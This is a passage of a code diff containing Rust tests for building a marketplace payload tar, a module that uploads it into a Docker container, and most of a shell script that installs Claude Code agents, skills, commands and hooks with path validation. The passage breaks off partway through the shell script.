let group = plugin_groups
.entry(slug.clone())
.or_insert_with(|| PluginGroup {
entries: Vec::new(),
keys: Vec::new(),
});
group.entries.push(entry);
group.keys.push(key.clone());
item["slug"] = json!(slug);
}
}
if inst.kind != ItemKind::Plugin {
taken.insert((inst.kind, key.clone()));
}
items.push(item);
}
let mut plugin_marketplaces = Vec::new();
for (slug, group) in plugin_groups {
let catalog = json!({
"name": format!("triple-c-{slug}"),
"owner": { "name": "Triple-C" },
"plugins": group.entries,
});
let bytes = serde_json::to_vec_pretty(&catalog).map_err(|e| e.to_string())?;
tar.file(
&format!("plugins/{slug}/.claude-plugin/marketplace.json"),
&bytes,
false,
)?;
plugin_marketplaces
.push(json!({ "slug": slug, "dir": format!("plugins/{slug}"), "plugins": group.keys }));
}
let manifest = json!({
"version": 1,
"items": items,
"plugin_marketplaces": plugin_marketplaces,
"held": held,
});
let bytes = serde_json::to_vec_pretty(&manifest).map_err(|e| e.to_string())?;
tar.file("manifest.json", &bytes, false)?;
Ok(Payload {
tar: tar.finish()?,
manifest,
skipped,
})
}
#[cfg(test)]
mod tests {
use super::*;
use crate::marketplace::test_support::GitFixture;
use std::collections::HashMap;
use std::io::Read;
struct Entry {
data: Vec<u8>,
mode: u32,
}
fn unpack(tar_bytes: &[u8]) -> HashMap<String, Entry> {
let mut archive = tar::Archive::new(tar_bytes);
let mut out = HashMap::new();
for e in archive.entries().unwrap() {
let mut e = e.unwrap();
let path = e.path().unwrap().to_string_lossy().into_owned();
let mode = e.header().mode().unwrap();
let mut data = Vec::new();
e.read_to_end(&mut data).unwrap();
out.insert(path, Entry { data, mode });
}
out
}
fn market(id: &str) -> Marketplace {
Marketplace {
id: id.into(),
name: "Team Tools".into(),
url: "https://example.invalid/r.git".into(),
branch: None,
account_id: None,
}
}
fn inst(kind: ItemKind, key: &str, commit: &str) -> MarketplaceInstall {
MarketplaceInstall {
marketplace_id: "m1aaaaaaaa".into(),
kind,
key: key.into(),
commit: commit.into(),
}
}
/// Fetch the fixture into `<data>/marketplaces/m1aaaaaaaa.git`.
fn cache(fx: &GitFixture, data: &Path) {
let repo = git::cache_path(data, "m1aaaaaaaa");
git::fetch(&repo, &fx.url(), None, None).unwrap();
}
#[test]
fn every_kind_lands_at_its_contract_path() {
let Some(fx) = GitFixture::new() else { return };
let c = fx.with_all_kinds();
let data = tempfile::tempdir().unwrap();
cache(&fx, data.path());
let installs = vec![
inst(ItemKind::Agent, "code-reviewer", &c),
inst(ItemKind::Skill, "example-skill", &c),
inst(ItemKind::Command, "example-command", &c),
inst(ItemKind::Hook, "notify-on-stop", &c),
inst(ItemKind::Plugin, "example-plugin", &c),
];
let marketplaces = vec![market("m1aaaaaaaa")];
let p = build_payload(&PayloadInput {
installs: &installs,
marketplaces: &marketplaces,
data_root: data.path(),
})
.unwrap();
assert!(p.skipped.is_empty(), "{:?}", p.skipped);
let files = unpack(&p.tar);
let slug = marketplace_slug("m1aaaaaaaa");
for path in [
"agents/code-reviewer.md".to_string(),
"skills/example-skill/SKILL.md".to_string(),
"commands/example-command.md".to_string(),
"hooks/notify-on-stop/hook.json".to_string(),
"hooks/notify-on-stop/notify.sh".to_string(),
format!("plugins/{slug}/.claude-plugin/marketplace.json"),
format!("plugins/{slug}/example-plugin/.claude-plugin/plugin.json"),
format!("plugins/{slug}/example-plugin/skills/hello/SKILL.md"),
"manifest.json".to_string(),
] {
assert!(
files.contains_key(&path),
"missing {path}; have {:?}",
files.keys().collect::<Vec<_>>()
);
}
assert_eq!(files["hooks/notify-on-stop/notify.sh"].mode & 0o777, 0o755);
assert_eq!(files["agents/code-reviewer.md"].mode & 0o777, 0o644);
}
#[test]
fn manifest_and_generated_catalog_match_the_contract() {
let Some(fx) = GitFixture::new() else { return };
let c = fx.with_all_kinds();
let data = tempfile::tempdir().unwrap();
cache(&fx, data.path());
let installs = vec![
inst(ItemKind::Hook, "notify-on-stop", &c),
inst(ItemKind::Plugin, "example-plugin", &c),
];
let marketplaces = vec![market("m1aaaaaaaa")];
let p = build_payload(&PayloadInput {
installs: &installs,
marketplaces: &marketplaces,
data_root: data.path(),
})
.unwrap();
let slug = marketplace_slug("m1aaaaaaaa");
let files = unpack(&p.tar);
let manifest: Value = serde_json::from_slice(&files["manifest.json"].data).unwrap();
assert_eq!(manifest, p.manifest);
assert_eq!(manifest["version"], 1);
let hook = &manifest["items"][0];
assert_eq!(hook["kind"], "hook");
assert_eq!(hook["dir"], "hooks/notify-on-stop");
assert_eq!(
hook["settings"]["Stop"][0]["hooks"][0]["command"],
"/home/claude/.claude/triple-c/hooks/notify-on-stop/notify.sh"
);
let plugin = &manifest["items"][1];
assert_eq!(plugin["kind"], "plugin");
assert_eq!(plugin["slug"], slug.as_str());
assert_eq!(
manifest["plugin_marketplaces"],
json!([{ "slug": slug, "dir": format!("plugins/{slug}"), "plugins": ["example-plugin"] }])
);
let catalog: Value = serde_json::from_slice(
&files[&format!("plugins/{slug}/.claude-plugin/marketplace.json")].data,
)
.unwrap();
assert_eq!(catalog["name"], format!("triple-c-{slug}"));
assert_eq!(catalog["owner"]["name"], "Triple-C");
assert_eq!(catalog["plugins"][0]["name"], "example-plugin");
assert_eq!(catalog["plugins"][0]["source"], "./example-plugin");
}
/// Final review M4: the plugin marketplace name comes from the id, so a
/// rename never makes the container see a different marketplace.
#[test]
fn plugin_slug_survives_a_rename() {
let Some(fx) = GitFixture::new() else { return };
let c = fx.with_all_kinds();
let data = tempfile::tempdir().unwrap();
cache(&fx, data.path());
let installs = vec![inst(ItemKind::Plugin, "example-plugin", &c)];
let slug_named = |name: &str| {
let marketplaces = vec![Marketplace {
name: name.into(),
..market("m1aaaaaaaa")
}];
let p = build_payload(&PayloadInput {
installs: &installs,
marketplaces: &marketplaces,
data_root: data.path(),
})
.unwrap();
p.manifest["items"][0]["slug"].as_str().unwrap().to_string()
};
assert_eq!(slug_named("Team Tools"), "mp-m1aaaaaa");
assert_eq!(slug_named("Renamed"), "mp-m1aaaaaa");
}
#[test]
fn items_that_cannot_be_built_are_skipped_not_fatal() {
let Some(fx) = GitFixture::new() else { return };
let c = fx.with_all_kinds();
let data = tempfile::tempdir().unwrap();
cache(&fx, data.path());
let mut gone = inst(ItemKind::Agent, "code-reviewer", &c);
gone.marketplace_id = "removed".into();
let installs = vec![
gone,
inst(ItemKind::Agent, "code-reviewer", &"0".repeat(40)),
inst(ItemKind::Agent, "does-not-exist", &c),
inst(ItemKind::Command, "example-command", &c),
];
let marketplaces = vec![market("m1aaaaaaaa")];
let p = build_payload(&PayloadInput {
installs: &installs,
marketplaces: &marketplaces,
data_root: data.path(),
})
.unwrap();
let skipped: Vec<&str> = p.skipped.iter().map(|s| s.item.as_str()).collect();
assert_eq!(
skipped,
vec![
"agent:code-reviewer",
"agent:code-reviewer",
"agent:does-not-exist"
]
);
assert!(
p.skipped[0].reason.contains("marketplace"),
"{}",
p.skipped[0].reason
);
assert!(
p.skipped[1].reason.contains("cache"),
"{}",
p.skipped[1].reason
);
assert_eq!(p.manifest["items"].as_array().unwrap().len(), 1);
// Final review M3: host-side failures are held (the container keeps
// what it has); only a removed source really removes.
assert_eq!(
p.manifest["held"],
json!(["agent:code-reviewer", "agent:does-not-exist"])
);
}
#[test]
fn a_plugin_that_cannot_be_built_is_held_under_its_marketplace() {
let Some(fx) = GitFixture::new() else { return };
fx.with_all_kinds();
let data = tempfile::tempdir().unwrap();
cache(&fx, data.path());
let installs = vec![inst(ItemKind::Plugin, "example-plugin", &"0".repeat(40))];
let marketplaces = vec![market("m1aaaaaaaa")];
let p = build_payload(&PayloadInput {
installs: &installs,
marketplaces: &marketplaces,
data_root: data.path(),
})
.unwrap();
assert_eq!(p.skipped.len(), 1);
assert_eq!(
p.manifest["held"],
json!([format!(
"plugin:{}/example-plugin",
marketplace_slug("m1aaaaaaaa")
)])
);
assert_eq!(p.manifest["plugin_marketplaces"], json!([]));
}
#[test]
fn a_second_marketplace_cannot_shadow_an_installed_name() {
let Some(fx) = GitFixture::new() else { return };
let c = fx.with_all_kinds();
let data = tempfile::tempdir().unwrap();
cache(&fx, data.path());
let other = git::cache_path(data.path(), "m2bbbbbbbb");
git::fetch(&other, &fx.url(), None, None).unwrap();
let mut second = inst(ItemKind::Agent, "code-reviewer", &c);
second.marketplace_id = "m2bbbbbbbb".into();
let installs = vec![inst(ItemKind::Agent, "code-reviewer", &c), second];
let marketplaces = vec![market("m1aaaaaaaa"), market("m2bbbbbbbb")];
let p = build_payload(&PayloadInput {
installs: &installs,
marketplaces: &marketplaces,
data_root: data.path(),
})
.unwrap();
assert_eq!(p.manifest["items"].as_array().unwrap().len(), 1);
assert_eq!(p.skipped.len(), 1);
assert!(p.skipped[0].reason.contains("another marketplace"));
assert_eq!(p.manifest["held"], json!([]));
}
#[test]
fn an_empty_install_set_still_yields_a_manifest() {
let data = tempfile::tempdir().unwrap();
let p = build_payload(&PayloadInput {
installs: &[],
marketplaces: &[],
data_root: data.path(),
})
.unwrap();
assert_eq!(
p.manifest,
json!({ "version": 1, "items": [], "plugin_marketplaces": [], "held": [] })
);
assert!(unpack(&p.tar).contains_key("manifest.json"));
}
}
+256
View File
@@ -0,0 +1,256 @@
//! Pushes a project's marketplace payload into its container and runs the
//! sync script there (spec §4).
use std::time::Duration;
use super::payload::Payload;
use crate::docker::exec::{exec_oneshot_as, exec_oneshot_streams_as, upload_bytes_to_container};
use crate::models::marketplace::{SkippedItem, SyncReport};
/// Where the payload and the script are uploaded. Owned by `claude`.
pub const INCOMING_DIR: &str = "/home/claude/.claude/triple-c/marketplace/incoming";
/// The sync script. Shipped with the app and uploaded on every sync, so a new
/// app version reaches existing containers without an image migration.
pub const SYNC_SCRIPT: &str = include_str!("sync.sh");
/// True once the entrypoint has finished: its last step execs this exact
/// command line. Before that it may still be merging `settings.json` or running
/// `claude update`, both of which the sync would race.
const READY_PROBE: &str = "pgrep -x -f 'su -s /bin/bash claude -c exec sleep infinity' >/dev/null";
const READY_TIMEOUT: Duration = Duration::from_secs(180);
const READY_POLL: Duration = Duration::from_secs(2);
/// Run as root: `~/.claude` is a volume and `triple-c/` may not exist yet, and
/// the uploads below are root-owned files in a directory `claude` must own so
/// the script can delete them.
const PREPARE_SCRIPT: &str = r#"set -e
d=/home/claude/.claude/triple-c/marketplace/incoming
mkdir -p "$d"
chown -R claude:claude /home/claude/.claude/triple-c
rm -f "$d/payload.tar" "$d/sync.sh""#;
fn sh(script: &str) -> Vec<String> {
vec!["sh".to_string(), "-c".to_string(), script.to_string()]
}
/// The readiness probe, run as root.
fn ready_probe_cmd() -> Vec<String> {
sh(READY_PROBE)
}
/// The sync script invocation, run as `claude`.
fn run_script_cmd() -> Vec<String> {
vec!["sh".to_string(), format!("{INCOMING_DIR}/sync.sh")]
}
fn run_script_env() -> Vec<String> {
vec!["HOME=/home/claude".to_string()]
}
async fn wait_until_ready(container_id: &str) -> Result<(), String> {
let deadline = tokio::time::Instant::now() + READY_TIMEOUT;
loop {
let (_, code) = exec_oneshot_as(container_id, "root", ready_probe_cmd(), vec![]).await?;
if code == 0 {
return Ok(());
}
if tokio::time::Instant::now() >= deadline {
return Err(format!(
"The container did not finish starting within {} seconds, so marketplace items \
were not applied. They are applied on the next start, or with Apply now.",
READY_TIMEOUT.as_secs()
));
}
tokio::time::sleep(READY_POLL).await;
}
}
/// The last `max` bytes of `text`, trimmed, never splitting a character.
fn tail(text: &str, max: usize) -> &str {
let text = text.trim();
if text.len() <= max {
return text;
}
let mut start = text.len() - max;
while !text.is_char_boundary(start) {
start += 1;
}
&text[start..]
}
/// Wait for readiness, upload the payload and the script, run the script as
/// `claude`, and return its report.
pub async fn sync_container(container_id: &str, payload: &Payload) -> Result<SyncReport, String> {
wait_until_ready(container_id).await?;
let (out, code) = exec_oneshot_as(container_id, "root", sh(PREPARE_SCRIPT), vec![]).await?;
if code != 0 {
return Err(format!(
"Could not prepare the container for the marketplace sync: {}",
tail(&out, 500)
));
}
upload_bytes_to_container(
container_id,
INCOMING_DIR,
"payload.tar",
&payload.tar,
0o644,
)
.await?;
upload_bytes_to_container(
container_id,
INCOMING_DIR,
"sync.sh",
SYNC_SCRIPT.as_bytes(),
0o755,
)
.await?;
let (stdout, stderr, code) =
exec_oneshot_streams_as(container_id, "claude", run_script_cmd(), run_script_env()).await?;
parse_report(&stdout).map_err(|e| {
format!(
"The marketplace sync script failed (exit {code}): {e}. {}",
tail(&stderr, 500)
)
})
}
/// The script's report is the last non-empty line of stdout.
pub fn parse_report(stdout: &str) -> Result<SyncReport, String> {
let line = stdout
.lines()
.rev()
.map(str::trim)
.find(|l| !l.is_empty())
.ok_or_else(|| "the sync script printed no report".to_string())?;
serde_json::from_str(line)
.map_err(|e| format!("the sync script's report could not be read: {e}"))
}
/// A sync never fails its caller: an error becomes a report that says so.
pub fn report_from_result(r: Result<SyncReport, String>) -> SyncReport {
let mut report = match r {
Ok(report) => report,
Err(e) => SyncReport {
errors: vec![e],
..Default::default()
},
};
report.finished_at = chrono::Utc::now().to_rfc3339();
report
}
/// Items the host left out of the payload (invalid, missing from the cache, …)
/// never reach the script, so the stored report lists them ahead of its own.
pub fn with_payload_skips(mut report: SyncReport, payload_skipped: &[SkippedItem]) -> SyncReport {
let mut skipped = payload_skipped.to_vec();
skipped.append(&mut report.skipped);
report.skipped = skipped;
report
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn the_report_is_the_last_non_empty_stdout_line() {
let out = "noise\n{\"installed\":[\"agent:a\"],\"errors\":[]}\n\n";
let r = parse_report(out).unwrap();
assert_eq!(r.installed, vec!["agent:a"]);
assert!(r.skipped.is_empty());
}
#[test]
fn missing_or_garbled_reports_are_errors() {
assert!(parse_report("").unwrap_err().contains("no report"));
assert!(parse_report("not json\n")
.unwrap_err()
.contains("could not be read"));
}
#[test]
fn a_failed_sync_becomes_a_report() {
// A failed sync becomes a report with the error in it — never an Err
// that could propagate into container start.
let r = report_from_result(Err("container went away".into()));
assert_eq!(r.errors, vec!["container went away"]);
assert!(!r.finished_at.is_empty());
let ok = report_from_result(Ok(SyncReport {
installed: vec!["hook:h".into()],
..Default::default()
}));
assert_eq!(ok.installed, vec!["hook:h"]);
assert!(chrono::DateTime::parse_from_rfc3339(&ok.finished_at).is_ok());
}
#[test]
fn the_embedded_script_is_the_sync_script() {
assert!(SYNC_SCRIPT.starts_with("#!/bin/sh"));
assert!(SYNC_SCRIPT.contains("MARKETPLACE_INCOMING"));
}
#[test]
fn readiness_probes_the_entrypoints_final_exec() {
assert_eq!(
ready_probe_cmd(),
vec![
"sh",
"-c",
"pgrep -x -f 'su -s /bin/bash claude -c exec sleep infinity' >/dev/null"
]
);
assert_eq!(READY_POLL, Duration::from_secs(2));
assert_eq!(READY_TIMEOUT, Duration::from_secs(180));
}
#[test]
fn the_incoming_dir_is_prepared_for_claude() {
// The uploads are root-owned, so the directory must exist and belong
// to claude before they land (claude extracts and deletes them).
assert!(PREPARE_SCRIPT.contains(INCOMING_DIR));
assert!(PREPARE_SCRIPT.contains("mkdir -p"));
assert!(PREPARE_SCRIPT.contains("chown -R claude:claude /home/claude/.claude/triple-c"));
}
#[test]
fn the_script_runs_as_claude_with_home_set() {
assert_eq!(
run_script_cmd(),
vec!["sh".to_string(), format!("{INCOMING_DIR}/sync.sh")]
);
assert_eq!(run_script_env(), vec!["HOME=/home/claude"]);
}
#[test]
fn payload_skips_come_before_the_scripts_own() {
use crate::models::marketplace::SkippedItem;
let payload_skip = SkippedItem {
item: "agent:a".into(),
reason: "invalid".into(),
};
let script_skip = SkippedItem {
item: "hook:h".into(),
reason: "no jq".into(),
};
let report = SyncReport {
skipped: vec![script_skip.clone()],
..Default::default()
};
let merged = with_payload_skips(report, std::slice::from_ref(&payload_skip));
assert_eq!(merged.skipped, vec![payload_skip, script_skip]);
}
#[test]
fn long_output_is_tailed_on_a_char_boundary() {
assert_eq!(tail(" short \n", 10), "short");
let s = format!("{}é", "x".repeat(20));
let t = tail(&s, 1);
assert!(s.ends_with(t));
assert!(t.len() <= 2);
}
}
+467
View File
@@ -0,0 +1,467 @@
#!/bin/sh
# Messages name paths as the user sees them ("~/.claude/..."), deliberately.
# shellcheck disable=SC2088
# Triple-C marketplace sync: applies the payload the app uploaded.
#
# A constant script, shipped inside the app and uploaded next to the payload on
# every sync. Nothing is ever interpolated into it: its only inputs are the
# files under $MARKETPLACE_INCOMING (written by the host) and $HOME. Item keys
# and slugs are re-validated here although the host validated them, and every
# destination path is derived from them rather than taken from the manifest.
#
# Progress and tool output go to stderr. stdout carries exactly one line: the
# JSON report. Exit status is 0 unless HOME is unset; per-item failures are
# reported, never fatal.
set -u
if [ -z "${HOME:-}" ]; then
echo "triple-c-marketplace-sync: HOME is not set" >&2
exit 2
fi
PATH="$HOME/.claude/bin:$HOME/.local/bin:$PATH"
export PATH
CLAUDE_DIR="$HOME/.claude"
BASE="$CLAUDE_DIR/triple-c"
INCOMING="${MARKETPLACE_INCOMING:-$BASE/marketplace/incoming}"
LOCK="${MARKETPLACE_LOCK:-/tmp/.triple-c-claude-update.lock}"
STATE="$BASE/marketplace/state.json"
WORK="$BASE/marketplace/work"
SETTINGS="$CLAUDE_DIR/settings.json"
TAB=$(printf '\t')
if ! command -v jq >/dev/null 2>&1; then
printf '%s\n' '{"errors":["jq is not installed in this container, so marketplace items were not applied"]}'
exit 0
fi
R=$(mktemp -d 2>/dev/null) || R=""
if [ -z "$R" ] || [ ! -d "$R" ]; then
printf '%s\n' '{"errors":["a temporary directory could not be created in the container, so marketplace items were not applied"]}'
exit 0
fi
trap 'rm -rf "$R"' EXIT
for f in installed updated removed skipped errors newstate new_slugs final_slugs \
hook_pending hook_removals plugin_items; do
: >"$R/$f"
done
report() { printf '%s\n' "$2" >>"$R/$1"; }
skip() { printf '%s\t%s\n' "$1" "$2" >>"$R/skipped"; }
fail() { printf '%s\n' "$1" >>"$R/errors"; }
record() { printf '%s\t%s\n' "$1" "$2" >>"$R/newstate"; }
emit_report() {
jq -cn \
--rawfile i "$R/installed" --rawfile u "$R/updated" --rawfile d "$R/removed" \
--rawfile s "$R/skipped" --rawfile e "$R/errors" '
def lines: split("\n") | map(select(length > 0));
{ installed: ($i | lines), updated: ($u | lines), removed: ($d | lines),
skipped: ($s | lines | map(split("\t") | { item: .[0], reason: (.[1:] | join("\t")) })),
errors: ($e | lines) }'
}
valid_key() {
case "$1" in
'' | [!A-Za-z0-9]* | *[!A-Za-z0-9._-]*) return 1 ;;
esac
[ "${#1}" -le 64 ]
}
valid_slug() {
case "$1" in
'' | -* | *[!a-z0-9-]*) return 1 ;;
esac
[ "${#1}" -le 64 ]
}
valid_commit() {
case "$1" in
'' | *[!0-9a-f]*) return 1 ;;
esac
[ "${#1}" -eq 40 ]
}
# Run `claude` serialised with the entrypoint's and every session's
# `claude update`, which rewrite ~/.claude/bin under the same lock.
claude_cmd() {
if command -v flock >/dev/null 2>&1; then
flock -w 120 "$LOCK" claude "$@" </dev/null >&2
else
claude "$@" </dev/null >&2
fi
}
# State ids are "<kind>:<key>", except plugins: "plugin:<slug>/<key>", since
# two marketplaces may ship a plugin of the same name. Reports keep
# "<kind>:<key>" for every kind. $OLD is the state as read at the start
# (legacy "plugin:<key>" records migrated); $STATE is written once, at the end.
OLD="$R/state.json"
owned() { jq -e --arg id "$1" '.items | has($id)' "$OLD" >/dev/null 2>&1; }
prev_commit() { jq -r --arg id "$1" '.items[$id].commit // ""' "$OLD"; }
# Every state id the manifest names with string fields, well-formed or
# not: a selected item that failed this run must not be removed.
in_manifest() { grep -qxF "$1" "$R/manifest_ids"; }
carry_forward() { record "$1" "$(jq -c --arg id "$1" '.items[$id]' "$OLD")"; }
# $1 = installed|updated|none for this id at this commit.
outcome_of() {
p=$(prev_commit "$1")
if [ -z "$p" ]; then
echo installed
elif [ "$p" != "$2" ]; then
echo updated
else
echo none
fi
}
outcome() {
o=$(outcome_of "$1" "$2")
[ "$o" = none ] || report "$o" "$1"
}
# Something is in the way at a user-owned location (dangling links included).
occupied() { [ -e "$1" ] || [ -L "$1" ]; }
# The one place a destination is derived; removal never trusts a stored path.
item_path() {
case "$1" in
agent | command) printf '%s\n' "$CLAUDE_DIR/${1}s/$2.md" ;;
skill) printf '%s\n' "$CLAUDE_DIR/skills/$2" ;;
hook) printf '%s\n' "$BASE/hooks/$2" ;;
*) return 1 ;;
esac
}
malformed() {
rm -rf "$WORK"
fail "$1"
emit_report
exit 0
}
# ── Unpack ───────────────────────────────────────────────────────────────────
if [ ! -f "$INCOMING/payload.tar" ]; then
fail "no payload was uploaded"
emit_report
exit 0
fi
mkdir -p "$BASE/marketplace" "$BASE/hooks" "$BASE/plugins"
rm -rf "$WORK"
mkdir -p "$WORK"
if ! tar -xf "$INCOMING/payload.tar" -C "$WORK" >&2; then
rm -f "$INCOMING/payload.tar"
fail "the payload could not be unpacked"
emit_report
exit 0
fi
rm -f "$INCOMING/payload.tar"
# The host never packs links (they make an item invalid); refuse any that
# arrive rather than copy through them.
if [ -n "$(find "$WORK" -type l -print | head -n 1)" ]; then
rm -rf "$WORK"
fail "the payload contains a symbolic link, so it was not applied"
emit_report
exit 0
fi
MANIFEST="$WORK/manifest.json"
if ! jq -e '.version == 1' "$MANIFEST" >/dev/null 2>&1; then
malformed "the payload manifest is missing or has an unsupported version"
fi
# Nothing is changed (and, above all, nothing removed) unless the manifest is
# structurally sound and every extraction below succeeds.
# `held` (optional): state ids of installs the host could not build this time;
# they are kept exactly like a selected item that failed here.
if ! jq -e '(.items | type) == "array" and (.plugin_marketplaces | type) == "array"
and ((.held // []) | type == "array" and all(.[]; type == "string"))' \
"$MANIFEST" >/dev/null 2>&1; then
malformed "the payload manifest is malformed, so nothing was changed"
fi
# One line per item. Fields carry a "_" prefix so an empty one cannot make
# `read` shift the rest (tab is IFS whitespace); @tsv escapes tabs/newlines.
# A malformed item becomes a "bad" line instead of aborting the extraction.
if ! {
jq -r '
.items[]
| if type == "object" and (.kind | type) == "string" and (.key | type) == "string"
and (.commit | type) == "string"
then ["ok", .kind, .key, .commit, (if (.slug | type) == "string" then .slug else "" end)]
else ["bad",
(if type == "object" then .kind | tostring else "?" end),
(if type == "object" then .key | tostring else "?" end), "", ""]
end
| map("_" + .) | @tsv' "$MANIFEST" >"$R/items.tsv" &&
jq -r '.items[] | objects | select((.kind | type) == "string" and (.key | type) == "string")
| [if .kind == "plugin" and (.slug | type) == "string"
then "plugin:" + .slug + "/" + .key else .kind + ":" + .key end] | @tsv' \
"$MANIFEST" >"$R/manifest_ids" &&
jq -r '(.held // [])[] | [.] | @tsv' "$MANIFEST" >>"$R/manifest_ids" &&
jq -r '.plugin_marketplaces[]
| if type == "object" and (.slug | type) == "string" then .slug else "" end
| [.] | @tsv' "$MANIFEST" >"$R/new_slugs"
}; then
malformed "the payload manifest could not be read, so nothing was changed"
fi
if ! jq -e '(.items | type) == "object"' "$STATE" >/dev/null 2>&1; then
printf '%s\n' '{"version":1,"items":{},"plugin_marketplaces":[]}' >"$STATE"
fi
# Records from before plugins were tracked per marketplace ("plugin:<key>")
# carry their slug: rename them so they are neither reinstalled nor orphaned.
# One without a string slug keeps its id and is dropped as unrecognised below.
if ! jq '.items |= with_entries(
if (.key | startswith("plugin:")) and (.key | contains("/") | not)
and (.value | type) == "object" and (.value.slug | type) == "string"
then .key = "plugin:" + .value.slug + "/" + (.key | ltrimstr("plugin:"))
else . end)' "$STATE" >"$OLD" 2>/dev/null; then
malformed "the marketplace state could not be read, so nothing was changed"
fi
# ── Agents, skills, commands, hooks ──────────────────────────────────────────
while IFS="$TAB" read -r status kind key commit slug; do
status=${status#_} kind=${kind#_} key=${key#_} commit=${commit#_} slug=${slug#_}
id="$kind:$key"
if [ "$status" != ok ]; then skip "$id" "malformed manifest entry"; continue; fi
if ! valid_key "$key"; then skip "$id" "invalid item name"; continue; fi
if ! valid_commit "$commit"; then skip "$id" "invalid commit"; continue; fi
case "$kind" in
plugin)
# Applied per plugin marketplace below.
printf '%s\t%s\t%s\n' "_$key" "_$commit" "_$slug" >>"$R/plugin_items"
;;
agent | command)
dir="$CLAUDE_DIR/${kind}s"
src="$WORK/${kind}s/$key.md"
dest=$(item_path "$kind" "$key")
if [ ! -f "$src" ]; then fail "$id: missing from the payload"; continue; fi
if occupied "$dest" && ! owned "$id"; then
skip "$id" "~/.claude/${kind}s/$key.md already exists and was not installed by Triple-C"
continue
fi
if ! { mkdir -p "$dir" && cp "$src" "$dest.tmp.$$" && mv -f "$dest.tmp.$$" "$dest"; }; then
rm -f "$dest.tmp.$$"
fail "$id: could not write $dest"
continue
fi
outcome "$id" "$commit"
record "$id" "$(jq -cn --arg c "$commit" --arg p "$dest" '{commit: $c, path: $p}')"
;;
skill)
dir="$CLAUDE_DIR/skills"
src="$WORK/skills/$key"
dest=$(item_path skill "$key")
if [ ! -d "$src" ]; then fail "$id: missing from the payload"; continue; fi
if occupied "$dest" && ! owned "$id"; then
skip "$id" "~/.claude/skills/$key already exists and was not installed by Triple-C"
continue
fi
if ! { mkdir -p "$dir" && rm -rf "$dest" && cp -R "$src" "$dest"; }; then
fail "$id: could not write $dest"
continue
fi
outcome "$id" "$commit"
record "$id" "$(jq -cn --arg c "$commit" --arg p "$dest" '{commit: $c, path: $p}')"
;;
hook)
src="$WORK/hooks/$key"
dest=$(item_path hook "$key")
entries=$(jq -c --arg k "$key" \
'first(.items[] | objects | select(.kind == "hook" and .key == $k) | .settings) // {}' "$MANIFEST")
if ! printf '%s' "$entries" | jq -e 'type == "object" and all(.[]; type == "array")' >/dev/null 2>&1; then
skip "$id" "its hook settings are not an object of arrays"
continue
fi
if [ ! -d "$src" ]; then fail "$id: missing from the payload"; continue; fi
if ! { rm -rf "$dest" && cp -R "$src" "$dest"; }; then
fail "$id: could not write $dest"
continue
fi
# Reported only once its entries are in settings.json (see below).
printf '%s\t%s\n' "$(outcome_of "$id" "$commit")" "$id" >>"$R/hook_pending"
record "$id" "$(jq -cn --arg c "$commit" --arg p "$dest" --argjson e "$entries" \
'{commit: $c, path: $p, entries: $e}')"
;;
*)
skip "$id" "unknown item kind"
;;
esac
done <"$R/items.tsv"
# ── Removals (non-plugin) ────────────────────────────────────────────────────
cut -f1 "$R/newstate" >"$R/new_ids"
jq -r '.items | keys[]' "$OLD" >"$R/old_ids"
while read -r id; do
case "$id" in plugin:*) continue ;; esac
if grep -qxF "$id" "$R/new_ids"; then continue; fi
# Still selected but failed this run: keep the old files and record.
if in_manifest "$id"; then carry_forward "$id"; continue; fi
# Only an exact "<kind>:<key>" with a known kind names a path; anything
# else in state is dropped without deleting anything.
case "$id" in
agent:* | skill:* | command:* | hook:*)
kind=${id%%:*}
key=${id#*:}
;;
*) kind="" key="" ;;
esac
if [ -z "$kind" ] || ! valid_key "$key" || ! path=$(item_path "$kind" "$key"); then
fail "$id: dropped an unrecognised record from the marketplace state"
continue
fi
if [ "$kind" = hook ]; then
# Removed once its entries are out of settings.json (see below).
printf '%s\n' "$id" >>"$R/hook_removals"
continue
fi
if rm -rf "$path"; then report removed "$id"; else fail "$id: could not remove $path"; fi
done <"$R/old_ids"
# ── Hook entries in settings.json ────────────────────────────────────────────
# shellcheck disable=SC2016 # jq program, not shell
MERGE_ENTRIES='[.[] | .entries? // empty]
| reduce .[] as $e ({}; reduce ($e | to_entries[]) as $x (.; .[$x.key] += $x.value))'
OLD_HOOKS=$(jq -c "[.items[]] | $MERGE_ENTRIES" "$OLD")
NEW_HOOKS=$(cut -f2- "$R/newstate" | jq -cs "$MERGE_ENTRIES")
HOOKS_FAILED=0
if [ "$OLD_HOOKS" != "{}" ] || [ "$NEW_HOOKS" != "{}" ]; then
# A dotfiles symlink stays a symlink: write through to its target.
target="$SETTINGS"
if [ -L "$SETTINGS" ]; then
target=$(readlink -f "$SETTINGS" 2>/dev/null) || target=""
fi
tmp="$target.tmp.$$"
# settings.json may hold secrets and the entrypoint keeps it 0600: create
# the replacement private and keep it that way (pre-flight N11).
saved_umask=$(umask)
umask 077
if [ -z "$target" ] || { [ -e "$target" ] && [ ! -f "$target" ]; }; then
HOOKS_FAILED=1
fail "~/.claude/settings.json is not a regular file, so hook changes were not applied"
elif [ -f "$target" ] && ! jq -s '
if length == 0 then {}
elif length == 1 and (.[0] | type) == "object" then .[0]
else error("not a JSON object") end' "$target" >"$R/current.json" 2>/dev/null; then
HOOKS_FAILED=1
fail "~/.claude/settings.json is not a JSON object, so hook changes were not applied"
else
# Missing, empty and whitespace-only files all read as {}.
[ -f "$target" ] || printf '{}\n' >"$R/current.json"
if jq --argjson old "$OLD_HOOKS" --argjson new "$NEW_HOOKS" '
def remove_first($x):
(to_entries | map(select(.value == $x)) | first(.[].key) // null) as $i
| if $i == null then . else del(.[$i]) end;
reduce ($old | to_entries[]) as $ev (.;
if (.hooks[$ev.key] | type) == "array"
then reduce $ev.value[] as $g (.; .hooks[$ev.key] |= remove_first($g))
else . end)
| reduce ($new | to_entries[]) as $ev (.;
.hooks[$ev.key] = ((.hooks[$ev.key] // []) + $ev.value))
| if (.hooks | type) == "object" then .hooks |= with_entries(select(.value != [])) else . end
| if .hooks == {} then del(.hooks) else . end
' "$R/current.json" >"$tmp" 2>/dev/null &&
jq -e 'type == "object"' "$tmp" >/dev/null 2>&1 &&
mv -f "$tmp" "$target"; then
chmod 600 "$target" ||
fail "~/.claude/settings.json was updated but could not be made private (chmod 600)"
else
rm -f "$tmp"
HOOKS_FAILED=1
fail "~/.claude/settings.json could not be updated, so hook changes were not applied"
fi
fi
umask "$saved_umask"
fi
if [ "$HOOKS_FAILED" = 0 ]; then
while IFS="$TAB" read -r o id; do
[ "$o" = none ] || report "$o" "$id"
done <"$R/hook_pending"
